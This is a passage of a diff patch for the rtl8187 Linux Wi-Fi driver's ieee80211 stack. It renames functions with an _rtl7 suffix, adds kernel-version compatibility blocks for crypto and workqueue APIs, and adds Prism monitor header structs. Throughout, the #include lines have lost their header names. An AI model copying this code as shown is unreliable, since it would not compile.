rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c 2007-03-05 00:31:52.355343126 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -62,7 +70,7 @@ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -101,7 +109,7 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; if (_priv && _priv->tfm_michael) @@ -200,7 +208,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +230,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +276,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -283,11 +291,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -325,7 +333,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -382,10 +390,10 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; @@ -428,10 +436,14 @@ } -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20) + struct hash_desc desc; +#endif struct scatterlist sg[2]; + int ret=0; if (tkey->tfm_michael == NULL) { printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); @@ -445,15 +457,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); +#else + if (crypto_hash_setkey(tkey->tfm_michael, key, 8)) + return -1; - return 0; + desc.tfm = tkey->tfm_michael; + desc.flags = 0; + ret = crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif + + return ret; } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +504,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,9 +516,9 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; @@ -506,7 +527,7 @@ #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +548,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +564,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +572,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,8 +581,8 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { @@ -572,7 +593,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,7 +609,7 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; @@ -618,7 +639,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +669,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +696,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c 2007-03-05 00:31:52.395343729 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -40,7 +48,7 @@ }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -72,7 +80,7 @@ } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; if (_priv && _priv->tfm) @@ -87,7 +95,7 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; @@ -151,7 +159,7 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; @@ -203,7 +211,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +225,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +238,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +247,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_txpower/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211.h 2007-03-05 00:31:49.235296061 +0100 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_txpower/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_module.c 2007-03-05 00:31:52.435344332 +0100 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +63,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +83,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +91,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +102,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +116,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +141,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +152,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +170,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +178,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data 